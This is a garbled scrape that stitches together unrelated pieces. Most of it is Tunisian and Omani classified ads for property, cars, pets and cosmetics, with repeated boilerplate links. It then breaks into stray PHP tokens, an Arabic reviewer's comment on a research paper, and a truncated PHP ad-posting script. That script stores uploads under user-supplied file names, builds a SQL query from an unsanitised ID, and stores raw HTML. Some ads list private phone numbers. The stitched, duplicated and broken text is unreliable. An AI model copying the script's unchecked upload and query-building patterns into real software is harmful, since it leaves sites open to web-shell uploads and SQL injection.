A vendre à djerba houmt souk - une villa neuve en plain-pied, implantée sur 900m² de à Djerba - Houmt Souk, Médenine, Tunisie<a href=https://afariat.com/annonce-%C3%A0-m%C3%A9denine/Immobilier/villa-neuve-a-houmt-souk-djerba-za-ref-v680-66cd9b6cb94a4.html><div>contact sellect @: <img src=https://afariat.com/build/images/afariat.com/favicon/android-icon-192x192.2ead223b.png></div></a>

Vente de golden retriever couleur crème âgé de 4 mois calme propre obéissant et à Ariana Ville, Ariana, Tunisie<a href=https://afariat.com/annonce-%C3%A0-ariana/Loisirs/chiot-golden-retriever-669699c81eb19.html><div>contact sellect @: <img src=https://afariat.com/build/images/afariat.com/favicon/android-icon-192x192.2ead223b.png></div></a>
Bonjour, je vend ma moto en bon état, il lui manque juste l’embrayage<a href=https://www.affare.tn/annonce/moto-218400><div>contact sellect @: <img src=https://www.dadabay.com/favicon.ico></div></a>
A vendre ou échange BMW K1200LT modèle 53000km 11cv suspension Tts options Alarme d’origine , fermeture centrale d’origine, poignée chauffante , ABS, Régulateur de vitess...<a href=https://www.affare.tn/annonce/k1200lt-ou-echange-214598><div>contact sellect @: <img src=https://www.dadabay.com/favicon.ico></div></a>

Oem 0.68 Caliber Multi-color Paintball For Hunting Paintball - Buy .68 Caliber Paintball .50 Caliber Paintball paintball paintball Ball Product on Alibaba.com<a href=https://www.alibaba.com/product-detail/OEM-0-68-Caliber-Multi-Color_1601157781614.html?spm=a2700.galleryofferlist.wending_right.6.1e2f3b8aK8c2aU><div>contact sellect @: <img src=></div></a>

Oem Vanilla Enhance Protein Powder Supplement Muscle Milk Protein Nuritional Fortification Powder Isolate Whey Protein Powder - Buy Protein Powder,Wholesale Protein Powder,Whey Protein Powder Product on Alibaba.com<a href=https://www.alibaba.com/product-detail/OEM-Vanilla-Enhance-protein-powder-supplement_1600867997350.html?spm=a2700.galleryofferlist.wending_right.12.105f629coMk5lq><div>contact sellect @: <img src=></div></a>

Wholesale Price Premium Quality Light Yellow Color Vegetable Cooking Oil Peanut Oil For Sale - Buy Crude Groundnut Peanut Oil peanut Oil And Groundnut Oil cold Pressed Refined Peanut Oil cooking Oil Wholesale refined Peanut Oil Product on Alibaba.com<a href=https://www.alibaba.com/product-detail/Wholesale-Price-Premium-Quality-Light-Yellow_1601178029450.html?spm=a2700.galleryofferlist.wending_right.6.9c964925PJaLBd><div>contact sellect @: <img src=></div></a>

No description found<a href=https://ar.aliexpress.com/item/1005007476979422.html?pvid=83730313-3034-49d0-8ee8-23733dadb663&pdp_ext_f=%7B%22ship_from%22:%22CN%22,%22sku_id%22:%2212000040911508163%22%7D&scm=1007.44674.329525.0&scm-url=1007.44674.329525.0&scm_id=1007.44674.329525.0&pdp_npi=4%40dis%21OMR%21OMR%202.95%21OMR%200.40%21%21%2152.55%217.05%21%402101583817246930387046643e9d85%2112000040911508163%21gdf%21OM%21%21X&spm=a2g0o.tm1000004346.3888118360.d4&aecmd=true><div>contact sellect @: <img src=></div></a>

No description found<a href=https://ar.aliexpress.com/item/1005007476979422.html?pvid=83730313-3034-49d0-8ee8-23733dadb663&pdp_ext_f=%7B%22ship_from%22:%22CN%22,%22sku_id%22:%2212000040911508163%22%7D&scm=1007.44674.329525.0&scm-url=1007.44674.329525.0&scm_id=1007.44674.329525.0&pdp_npi=4%40dis%21OMR%21OMR%202.95%21OMR%200.40%21%21%2152.55%217.05%21%402101583817246930387046643e9d85%2112000040911508163%21gdf%21OM%21%21X&spm=a2g0o.tm1000004346.3888118360.d4&aecmd=true><div>contact sellect @: <img src=></div></a>
فرصة الإستثمار في أرض على البحر sur Tayara<a href=http://www.tayara.tn/item/66462224ef74c89d5867ddb0><div>contact sellect @: <img src=https://www.dadabay.com/favicon-32x32.png></div></a>

Villa gucci(réf: l2568)&nbsp;Location Villa à&nbsp;HammametA louer à l’année chez l'agence TPS Immobilière Hammamet, une belle villa meublée alliant le style moderne, bien située à Hammamet dans un&nbsp;quartier chic et résidentiel.La villa est érigée sur deux niveaux, elle comporte au rez de chaussée un salon- salle à manger qui donne sur la piscine, un jardin d’hiver, une chambre à coucher qui donne sur un patio, une salle de douche et une cuisine moderne bien équipée.A l'étage, une grande suite parentale (salon, chambre, balcon vue mer, dressing et salle de bain), deux chambres à coucher avec une salle de douche ainsi qu’une belle terrasse qui donne sur la piscine.A l’extérieur, vous bénéficiez d’une une belle piscine, un joli jardin gazonné, une terrasse, une douche, un abris voitures ainsi qu'un portail électrique.La villa est équipée du chauffage central, climatiseurs, doubles vitrage, internet, système d’alarme et des caméras de surveillance.Pour plus d'informations, veuillez contacter Mme Emna aux : 00216 28.605.016 / 00216 52.631.000.<a href=https://www.cava.tn/maisons_et_villas/villa-guccirf-l2568-863639><div>contact sellect @: <img src=https://www.dadabay.com/assets/img/favicon-32x32.png></div></a>
masque natation sur Tayara<a href=https://www.tayara.tn/ar/item/66cc858fe2f0c13af82a0580/Equipements%20pour%20enfant%20et%20b%C3%A9b%C3%A9/Tunis/Le_Bardo/masque_natation_/><div>contact sellect @: <img src=https://www.dadabay.com/favicon-32x32.png></div></a>
Lit en bois avec matelas pour enfants en TBE 100 dinars sur Tayara<a href=https://www.tayara.tn/ar/item/66cc8ed1e2f0c13af82a1c4a/Equipements%20pour%20enfant%20et%20b%C3%A9b%C3%A9/Tunis/L_Aouina/Lit_en_bois_avec_matelas_pour_enfants_en_TBE_100_dinars/><div>contact sellect @: <img src=https://www.dadabay.com/favicon-32x32.png></div></a>
Trotteur Pousseur Prima sur Tayara<a href=https://www.tayara.tn/ar/item/66cc9a0fe2f0c13af82a35a5/Equipements%20pour%20enfant%20et%20b%C3%A9b%C3%A9/Sousse/Sousse/Trotteur_Pousseur_Prima/><div>contact sellect @: <img src=https://www.dadabay.com/favicon-32x32.png></div></a>
استثمر اليوم تلقاها غدوة sur Tayara<a href=https://www.tayara.tn/ar/item/6655a8bfe8ab350754624a8e/Terrains%20et%20Fermes/Nabeul/Hammam_Ghezze/_/><div>contact sellect @: <img src=https://www.dadabay.com/favicon-32x32.png></div></a>
![[Réf:3338175] Offres de Vente Appart. 2 pi�ces � Cite Ennasr 2 (Ariana Ville) - Appartement � ennaser 2 - www.tunisie-annonce.com](http://www.tunisie-annonce.com/upload2/202408/tunisie-annonce.com/photos/746481_20240823_203648.jpg)
Appartement � ennaser 2, Immobilier, Offres, Vente, Appart. 2 pi�ces � Cite Ennasr 2 (Ariana Ville)<a href=http://www.tunisie-annonce.com/DetailsAnnonceImmobilier.asp?cod_ann=3338175><div>contact sellect @: <img src=https://www.dadabay.com/Images/icone_principale_tunisie.gif></div></a>

خياط ملابس - عمانيستا.<br /><br /> Wanted <br /><br /> Tailor Women s Clothing and Abayat Experience and Goodwill Arabic Language <br /><br /> Salary :125<br /><br /> مطلوب <br /><br /> خياط ملابس نسائيه وعبايات خبره و يجيد اللغه العربيه <br /><br /> راتب ١٢٥<br /><br /> Phone no : 99647514<a href=https://omanista.com/sooqi/1782/%D8%AE%D9%8A%D8%A7%D8%B7-%D9%85%D9%84%D8%A7%D8%A8%D8%B3><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

مورسيدس E300 موديل 2017 - عمانيستا.بسم الله الرحمن الرحيم للبيع مرسيدس E300 الموديل :2017 اللون الخارجي: ابيض اللون الداخلي: ابيض بيج ناقل الحركة: اوتو 9 غيار المواصفات: - بوضعيات مختلفة <br /><br /> - فتحة سقف<br /><br /> <br /><br /> - الوقوف الذاتي (auto park)<br /><br /> - تغيير الاضاءات الداخليه اكثر من 64 لون<br /><br /> - رادار مانع تصادم امامي<br /><br /> - رادار مانع تصادم خلفي <br /><br /> - دبل ماوس<br /><br /> - سماعات برومستر -عدستين Led - مساحات المطر اوتو - حساسات امام وخلف وجوانب 360 درجة - تشغيل بصمة - فتح وغلق الأبواب بصمة - الشاشة الكبيرة مع نفجيشن - <br /><br /> - انحناء المرايا الجانبية اوتوماتيك<br /><br /> - كاميرا خلفية - نظام النقطة العمياء - خمس وضعيات للقيادهEco , comfort , sport+ , sport++ , individual <br /><br /> - دبه اوتو -<br /><br /> والكثير من المواصفات<br /><br /> الملاحضات؛/ السياره كلين تايتل بدون حوادث تامين وتجديد سنه كامله عمان والامارات ودول الخليج السياره ف قمه النضافه والحمدالله السعر:8.400 قابل للتفاوض<a href=https://omanista.com/sooqi/3136/%D9%85%D9%88%D8%B1%D8%B3%D9%8A%D8%AF%D8%B3-e300-%D9%85%D9%88%D8%AF%D9%8A%D9%84-2017><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

مرسيدس بنز GLC AMG 430 2020 - عمانيستا.<a href=https://omanista.com/sooqi/72/%D9%85%D8%B1%D8%B3%D9%8A%D8%AF%D8%B3-%D8%A8%D9%86%D8%B2-glc-amg-430-2020><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

لاندكروزر بيكاب شاص موديل 89 - عمانيستا.للبيع <br /><br /> تويوتا لاندكروزر بيكاب شاص موديل 89<br /><br /> محرك 3 F<br /><br /> 6 سلندر <br /><br /> بدون مكيف <br /><br /> تم تغيير جميع القطع الاستهلاكيه<br /><br /> السياره بحاله جيده جدا <br /><br /> <br /><br /> المطلوب :2.900<br /><br /> <br /><br /> 97777240<a href=https://omanista.com/sooqi/1171/%D9%84%D8%A7%D9%86%D8%AF%D9%83%D8%B1%D9%88%D8%B2%D8%B1-%D8%A8%D9%8A%D9%83%D8%A7%D8%A8-%D8%B4%D8%A7%D8%B5-%D9%85%D9%88%D8%AF%D9%8A%D9%84-89><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

لاندكروزر للبيع - عمانيستا.٢في ١ ثمانيه سلندر بدون فتحة بدون شاشة ثلاجة مكيف مركزي نظيف جدا عليه رسة تجميليه بدون حوادث بدون ليكات شد الوكالة جير مكينه شاصي دفريش امورهن طيبه ولله الحمد<a href=https://omanista.com/sooqi/1169/%D9%84%D8%A7%D9%86%D8%AF%D9%83%D8%B1%D9%88%D8%B2%D8%B1-%D9%84%D9%84%D8%A8%D9%8A%D8%B9><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

ولاية بديه - عمانيستا.2016<a href=https://omanista.com/sooqi/750/%D9%88%D9%84%D8%A7%D9%8A%D8%A9-%D8%A8%D8%AF%D9%8A%D9%87><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

آيفون X - عمانيستا.آيفون X<br /><br /> 256GB <br /><br /> البطارية 90<br /><br /> بحالة ممتازة جداً ما تبطل ولا مغير فيه حاجة بدون خدوش<a href=https://omanista.com/sooqi/1383/%D8%A2%D9%8A%D9%81%D9%88%D9%86-x><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

ايفون ١٢ ميني - عمانيستا.ايفون للبيع اللون ارزق <br /><br /> ١٢ ميني ٢٥٦ جيبي نظيف <br /><br /> عليه طبقه حمايه من كلير كوت <br /><br /> <br /><br /> مطلوب ٢٠٠<a href=https://omanista.com/sooqi/3227/%D8%A7%D9%8A%D9%81%D9%88%D9%86-%D9%85%D9%8A%D9%86%D9%8A><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

استيكرات حنا - عمانيستا.استيكرات الكبار ٥٠٠ بيسه<br /><br /> استيكرات الصغار ٣٠٠ بيسه<a href=https://omanista.com/sooqi/404/%D8%A7%D8%B3%D8%AA%D9%8A%D9%83%D8%B1%D8%A7%D8%AA-%D8%AD%D9%86%D8%A7><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

للبيع بخور عود فخم بسعر مغري - عمانيستا.للبيع <br /><br /> <br /><br /> أنواع من بخور العود <br /><br /> عود الشوق ب٥ ريال <br /><br /> عود اللبان ب٥ ريال <br /><br /> وأنواع أخرى <br /><br /> <br /><br /> للتواصل والاستفسار 95155154<a href=https://omanista.com/sooqi/2448/%D9%84%D9%84%D8%A8%D9%8A%D8%B9-%D8%A8%D8%AE%D9%88%D8%B1-%D8%B9%D9%88%D8%AF-%D9%81%D8%AE%D9%85-%D8%A8%D8%B3%D8%B9%D8%B1-%D9%85%D8%BA%D8%B1%D9%8A><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

بيوتي اوف جونسون - سيروم جلو ديب بخلاصة الارز وألفا أربوتين - عمانيستا.احصلي على بشرة مشرقة ونضرة مع سيروم جلو ديب من جونسون. يتميز بخلاصة الأرز وألفا أربوتين التي تعمل على توحيد لون البشرة وتقليل البقع الداكنة. تركيبته الخفيفة تمتص بسرعة وتترك بشرتك ناعمة ومشرقة.<br /><br /> <br /><br /> لمشاهدة جميع منتجاتنا قم بزيارة متجرنا الإلكتروني طوق العنقاء: <a href="https://fato.me/s/phoenix.collar" target="_blank">https://fato.me/s/phoenix.collar</a><a href=https://omanista.com/sooqi/327/%D8%A8%D9%8A%D9%88%D8%AA%D9%8A-%D8%A7%D9%88%D9%81-%D8%AC%D9%88%D9%86%D8%B3%D9%88%D9%86-%D8%B3%D9%8A%D8%B1%D9%88%D9%85-%D8%AC%D9%84%D9%88-%D8%AF%D9%8A%D8%A8-%D8%A8%D8%AE%D9%84%D8%A7%D8%B5%D8%A9-%D8%A7%D9%84%D8%A7%D8%B1%D8%B2-%D9%88%D8%A3%D9%84%D9%81%D8%A7-%D8%A3%D8%B1%D8%A8%D9%88%D8%AA%D9%8A%D9%86><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

ياده - كريم الحماية من الشمس كريم للوجه - 50 مل - عمانيستا.حافظي على بشرتك آمنة ومحمية مع كريم الحماية من الشمس من ياده. يحتوي هذا الكريم على معامل حماية عالي يساعد في وقاية بشرتك من الأشعة فوق البنفسجية الضارة. يمتاز بتركيبته الخفيفة التي تمتص سريعاً، مما يجعل بشرتك ناعمة وغير دهنية. مثالي للاستخدام اليومي ولجميع أنواع البشرة.<a href=https://omanista.com/sooqi/312/%D9%8A%D8%A7%D8%AF%D9%87-%D9%83%D8%B1%D9%8A%D9%85-%D8%A7%D9%84%D8%AD%D9%85%D8%A7%D9%8A%D8%A9-%D9%85%D9%86-%D8%A7%D9%84%D8%B4%D9%85%D8%B3-%D9%83%D8%B1%D9%8A%D9%85-%D9%84%D9%84%D9%88%D8%AC%D9%87-50-%D9%85%D9%84><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

فيم فريش - بودرة إعادة التوازن للمنطقة الحساسة - 200 جم. - عمانيستا.تمتعي بشعور منعش وحماية مثالية مع بودرة فيم فريش لرعاية المنطقة الحساسة. تركيبتها الخالية من العطور تمنحك الراحة والثقة طوال اليوم، مع مكونات طبيعية تساعد في الحفاظ على التوازن الطبيعي للبشرة. الحجم المناسب يجعلها خياراً عملياً للاستخدام اليومي.<a href=https://omanista.com/sooqi/297/%D9%81%D9%8A%D9%85-%D9%81%D8%B1%D9%8A%D8%B4-%D8%A8%D9%88%D8%AF%D8%B1%D8%A9-%D8%A5%D8%B9%D8%A7%D8%AF%D8%A9-%D8%A7%D9%84%D8%AA%D9%88%D8%A7%D8%B2%D9%86-%D9%84%D9%84%D9%85%D9%86%D8%B7%D9%82%D8%A9-%D8%A7%D9%84%D8%AD%D8%B3%D8%A7%D8%B3%D8%A9-200-%D8%AC%D9%85><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

ميلي - زيت إكليل الجبل والنعناع. - عمانيستا.يساعد زيت إكليل الجبل والنعناع من ميلي على تعزيز صحة فروة الرأس والشعر بفضل مكوناته الطبيعية. يقدم مزيج مثالي من إكليل الجبل المنعش والنعناع المهدئ، يعمل على تقوية بصيلات الشعر وتحفيز نموه. مناسب لجميع أنواع الشعر ويضفي انتعاشًا وترطيبًا يدوم طويلا. متعي شعرك بالتغذية الطبيعية والعناية الفائقة.<br /><br /> <br /><br /> لمشاهدة جميع منتجاتنا قم بزيارة متجرنا الإلكتروني طوق العنقاء: <a href="https://fato.me/s/phoenix.collar" target="_blank">https://fato.me/s/phoenix.collar</a><a href=https://omanista.com/sooqi/335/%D9%85%D9%8A%D9%84%D9%8A-%D8%B2%D9%8A%D8%AA-%D8%A5%D9%83%D9%84%D9%8A%D9%84-%D8%A7%D9%84%D8%AC%D8%A8%D9%84-%D9%88%D8%A7%D9%84%D9%86%D8%B9%D9%86%D8%A7%D8%B9><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

لاروش بوزاي - كريم سائل للحماية من أشعة الشمس - عمانيستا.وفر لأجل بشرتك الحماية القصوى مع كريم لاروش بوزاي السائل. يتميز بمكونات مضادة للأكسدة وعامل حماية من الشمس عالي (SPF +50)، يوفر حماية متكاملة من الأشعة فوق البنفسجية. صمم خصيصاً للبشرة الحساسة ويقاوم الماء. هو الاختيار الأمثل لحماية بشرتك يوميًا.<a href=https://omanista.com/sooqi/303/%D9%84%D8%A7%D8%B1%D9%88%D8%B4-%D8%A8%D9%88%D8%B2%D8%A7%D9%8A-%D9%83%D8%B1%D9%8A%D9%85-%D8%B3%D8%A7%D8%A6%D9%84-%D9%84%D9%84%D8%AD%D9%85%D8%A7%D9%8A%D8%A9-%D9%85%D9%86-%D8%A3%D8%B4%D8%B9%D8%A9-%D8%A7%D9%84%D8%B4%D9%85%D8%B3><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

فساتين سهره - عمانيستا.مجموعه فساتين للبيع في جديده وفي استعمال واحد للتواصل الجاد<a href=https://omanista.com/sooqi/3336/%D9%81%D8%B3%D8%A7%D8%AA%D9%8A%D9%86-%D8%B3%D9%87%D8%B1%D9%87><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

Evening gowns - عمانيستا.wedding or evening gowns,, high quality,, special fabrics and unique designs,, custom made, wore only one time,, size from S to M<a href=https://omanista.com/sooqi/1222/evening-gowns><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

فستان سهرة حفلات - عمانيستا.فستان سهرة حفلات ب 15<a href=https://omanista.com/sooqi/3597/%D9%81%D8%B3%D8%AA%D8%A7%D9%86-%D8%B3%D9%87%D8%B1%D8%A9-%D8%AD%D9%81%D9%84%D8%A7%D8%AA><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

ملابس نسائية واكسسوارات راقية وجميلة لجميع للمناسبات - عمانيستا.ملابس واكسسوارات مسائية راقية وجميلة جداً وبأسعار مناسبة جدا<a href=https://omanista.com/sooqi/199/%D9%85%D9%84%D8%A7%D8%A8%D8%B3-%D9%86%D8%B3%D8%A7%D8%A6%D9%8A%D8%A9-%D9%88%D8%A7%D9%83%D8%B3%D8%B3%D9%88%D8%A7%D8%B1%D8%A7%D8%AA-%D8%B1%D8%A7%D9%82%D9%8A%D8%A9-%D9%88%D8%AC%D9%85%D9%8A%D9%84%D8%A9-%D9%84%D8%AC%D9%85%D9%8A%D8%B9-%D9%84%D9%84%D9%85%D9%86%D8%A7%D8%B3%D8%A8%D8%A7%D8%AA><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

فستان زفاف بجميع مستلزمات - عمانيستا.فستان عروس البيع<a href=https://omanista.com/sooqi/1243/%D9%81%D8%B3%D8%AA%D8%A7%D9%86-%D8%B2%D9%81%D8%A7%D9%81-%D8%A8%D8%AC%D9%85%D9%8A%D8%B9-%D9%85%D8%B3%D8%AA%D9%84%D8%B2%D9%85%D8%A7%D8%AA><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>
No description found<a href=https://www.facebook.com/groups/7650607245040252/permalink/8108727105894928/?mibextid=rS40aB7S9Ucbxw6v><div>contact sellect @: <img src=https://static.xx.fbcdn.net/rsrc.php/yv/r/B8BxsscfVBr.ico></div></a>
No description found<a href=https://www.facebook.com/groups/7650607245040252/permalink/8108727105894928/?mibextid=rS40aB7S9Ucbxw6v><div>contact sellect @: <img src=https://static.xx.fbcdn.net/rsrc.php/yv/r/B8BxsscfVBr.ico></div></a>
I am selling electric crony cycle reason I am go to india this is good condition like 6 year old 30 km range - مركبات أخرى<a href=https://www.dubizzle.com.om/ad/sell-for-crony-electric-cycle-ID129385016.html><div>contact sellect @: <img src=https://dubizzle.com.om/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png></div></a>
Mix High Breed Cat Maine Cat Father & Turkey Angora Cat Mother Sweet and Playful Very Clean Alwats Cleaning herself & Like Showering Reason for Selling bcoz I am Traveling Contact me by Call or WhatsApp: [redacted p - قطط<a href=><div>contact sellect @: <img src=https://www.dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png></div></a>
anyone interested just pm to my WhatsApp[redacted phone number] - قطط<a href=https://www.dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png><div>contact sellect @: <img src=https://www.dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png></div></a>
I have 4 pigeons urgent sale - طيور<a href=https://www.dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png><div>contact sellect @: <img src=https://www.dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png></div></a>
I have 4 pigeons urgent sale - طيور<a href=https://dubizzle.com.om/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png><div>contact sellect @: <img src=https://dubizzle.com.om/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png></div></a>
Investment Opportunity (PV_T2_S04) Yearly Return of 10-13 % Muscat Pavilion Your Chance to Invest in the biggest Business Centre in Oman in the heart of Muscat (Muscat Hills) A limited number of offices and shops r - عقارات تجارية للبيع<div>contact sellect @: <img src=https://www.dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png></div>
*NEW * Grey leather jacket * Original Cow leather (Not Faux Leather) * Reason to sell because It's not my size * Price is slightly negotiable for serious buyers. Don't give stup!d offers pls - ملابس رجال<div>contact sellect @: <img src=https://www.dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png></div>
*NEW * Grey leather jacket * Original Cow leather (Not Faux Leather) * Reason to sell because It's not my size * Price is slightly negotiable for serious buyers. Don't give stup!d offers pls - ملابس رجال<div>contact sellect @: <img src=$logoUrl></div>
2 wonderful, friendly hand tamed parrots for sale with stand & Cage. - طيور
Thanks for the contact and interest in my lovely birds. We have Mascaw Parrots available now for sale. They are all hand trained, hand fed and come with all papers and free delivery cage. They come with a large luxu - طيور
AZAIBA | STUNNING 5+1BR VILLA FOR RENT This 5+1 bedroom villa is located in Azaiba: GROUND FLOOR OUTDOORS Shaded parking for 2 Front-yard garden Backyard En-suite maids room INDOORS Living and Dining area Guest wash - فلل للإيجار
MADINAT AL ILAM | WONDERFUL 5+1 BR COMMUNITY VILLA This multi-storey villa is located in Madinat Al Ilam and comes with the following: Ground floor Entry foyer Living and dining hall with balcony Kitchen Spacious si - فلل للإيجار
Beautiful G+2, 3BHK Villa within gated compound. Excellent location, in a peace and quiet atmosphere With facilities and maintenance inlcuded Contact us now for viewing and further information - فلل للإيجار
Beautiful G+2, 3BHK Villa within gated compound. Excellent location, in a peace and quiet atmosphere With facilities and maintenance inlcuded Contact us now for viewing and further information - فلل للإيجار
Beautiful G+2, 3BHK Villa within gated compound. Excellent location, in a peace and quiet atmosphere With facilities and maintenance inlcuded Contact us now for viewing and further information - فلل للإيجار
Beautiful G+2, 3BHK Villa within gated compound. Excellent location, in a peace and quiet atmosphere With facilities and maintenance inlcuded Contact us now for viewing and further information - فلل للإيجار
Beautiful G+2, 3BHK Villa within gated compound. Excellent location, in a peace and quiet atmosphere With facilities and maintenance inlcuded Contact us now for viewing and further information - فلل للإيجار
iiiiii
.jpeg)
'year' => "السنة", 'year' => "السنة",'year' => "السنة", 'year' => "السنة",'year' => "السنة",'year' => "السنة", 'year' => "السنة",

microtime(true); microtime(true); microtime(true); microtime(true); microtime(true); microtime(true); microtime(true);

شيفروليه, امبالا, 2017 95227000

شيفروليه, امبالا, 2017 95227000

مرسيدس C300 2018 99025003

ANdroid based mobile App
.jpg)
هنالك اقتراحات: منها نحاول الارتقاء بهذه الدراسة من تحليلية مجردة الى عملية ذات قيمة مضافة. أولا العنوان، و حسب الغييرات المقترحة داخل البحث نغيره الى شيء مشابه الى: تأثير الذكاء الاصطناعي على استراتيجيات التصميم الداخلي: تطوير بيئة العمل في المناطق ذات الاعتماد العالي على الطاقة، نموذج سلطنة عمان. الشكل 4: نضيف عليه وحدة تعنى بالتصنيف الحي المباشر(live time) الشكل 5: نضيف معه رسم ثاني يكون مقترن للشكل 5 لانه و مع تواجد امكانيات اتخاذ القرار الماتمت و تصنيف الموارد ال data limitation مؤكد ستتقلص في الوحد 6 من الجيدو لسهولة القراءة نقدم جدول فيه ارقام تثبت تحليل الدراسات المنجزة السابقة و تعرض النتائج في حال تنفيذ التوصيات. وهذا حتى نثبت نجاعة هذه الدراسة

<?php include_once "settings.php"; // Ensure this file sets up $connessione (database connection) //include 'ar.php'; if(isset($_GET["accessCat"])) $_SESSION["ad"]=$_GET["accessCat"]; //for the cntrol to dsply ads && (HIDE) not to display the cars brands logos $bId = htmlspecialchars($_GET['bId'] ?? $_GET['bId']); // Check if the 'accessCat' GET parameter is set $accessCat = isset($_GET['accessCat']) ? $_GET['accessCat'] : ''; // Define available categories and their fields $categories = $_SESSION['translations']['category']; // Process form submission if ($_SERVER['REQUEST_METHOD'] === 'POST') { $category = $connessione->real_escape_string($_POST['accessCat'] ?? $_GET['accessCat']); $title = $connessione->real_escape_string($_POST['title'] ?? ''); $berid = $connessione->real_escape_string($_POST['berid'] ?? ''); $hetef = $connessione->real_escape_string($_POST['hetef'] ?? ''); $country = $connessione->real_escape_string($_POST['country'] ?? ''); $location_city = $connessione->real_escape_string($_POST['location_city'] ?? ''); $price = $connessione->real_escape_string($_POST['price'] ?? ''); $el3omla = $connessione->real_escape_string($_POST['el3omla'] ?? ''); $description = $connessione->real_escape_string(htmlspecialchars($_POST['description'] ?? '')); $quantity = $connessione->real_escape_string($_POST['quantity'] ?? ''); $yearModel = $connessione->real_escape_string($_POST['yearModel'] ?? $_GET['year']); $views = intval($_POST['views'] ?? 0); //$attributes = $connessione->real_escape_string($_POST['attributes'] ?? ''); // Collect prod attributes data with default values $attributes__ = [ 'brand' => $_GET['brand'] ?? '', 'year' => $yearModel ?? '', 'regional_specifications' => $_POST['property3'] ?? '', 'odometer' => $_POST['property4'] ?? '', 'cylinders' => $_POST['property5'] ?? '', 'transmission' => $_POST['property6'] ?? '', 'keys' => $_POST['property7'] ?? '', 'full_options' => $_POST['property8'] ?? '', 'fuel' => $_POST['property9'] ?? '', 'wheel_drive' => $_POST['property10'] ?? '', 'exterior_color' => $_POST['property11'] ?? '', 'interior_color' => $_POST['property12'] ?? '', 'maintenance_report' => $_POST['property13'] ?? '', 'car_status' => $_POST['property17'] ?? '' ]; // Initialize an array to hold form data $formData = []; $formHtml = isset($_POST['form_html']) ? $_POST['form_html'] : ''; // Collect and sanitize form data, excluding specific keys foreach ($_POST as $key => $value) { // Exclude specific fields from being added to formData if ($key !== 'form_html' && !in_array($key, ['berid', 'hetef', 'country', 'location_city', 'price', 'el3omla', 'description', 'quantity', 'yearModel', 'delivery_available', 'negotiable_price', 'status', 'collector'])) { $formData[$key] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); } } // Build the JSON object for the attributes field $attributes = [ 'form_html' => $formHtml, 'data' => $formData ]; // Convert the attributes array to a JSON string $attributesJson = json_encode($attributes); // Sanitize the JSON string for safe insertion $attributes = $connessione->real_escape_string($attributesJson); //$attributes = $connessione->real_escape_string(json_encode($attributes)); $delivery_available = isset($_POST['delivery_available']) ? 1 : 0; $negotiable_price = isset($_POST['negotiable_price']) ? 1 : 0; $status = $connessione->real_escape_string($_POST['status'] ?? ''); $collector = $connessione->real_escape_string($_POST['collector'] ?? ''); // Handle file uploads $images = []; if (isset($_FILES['images']) && !empty($_FILES['images']['name'][0])) { $uploadDir = 'uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } foreach ($_FILES['images']['tmp_name'] as $key => $tmp_name) { $fileName = basename($_FILES['images']['name'][$key]); $uploadFile = $uploadDir . $fileName; if (move_uploaded_file($tmp_name, $uploadFile)) { $images[] = $uploadFile; } } } $imagesList = implode(',', $images); try { $sql = mysqli_query($connessione, "INSERT INTO `bathae3i` ( `idBathae3i`, `images`, `category`, `title`, `berid`, `hetef`, `country`, `location_city`, `price`, `el3omla`, `description`, `quantity`, `chronoBathae3`, `views`, `attributes`, `delivery_available`, `negotiable_price`, `status`, `collector` ) VALUES ( NULL, '$imagesList', '$category', '$title', '$berid', '$hetef', '$country', '$location_city', '$price', '$el3omla', '$description', '$quantity', '".time()."', $views, '$attributes', $delivery_available, $negotiable_price, '$status', '$collector' )"); if (!$sql) { die('Error: ' . htmlspecialchars($connessione->error)); } } catch(Exception $e) { echo "Exception: " . $e->getMessage(); } } // Retrieve records from the database $sql = "SELECT * FROM `bathae3i` WHERE idBathae3i = '" . $bId . "'"; $result = $connessione->query($sql); ?> <!DOCTYPE html> <html <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?>> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bathae3i Management</title> <link rel="stylesheet" 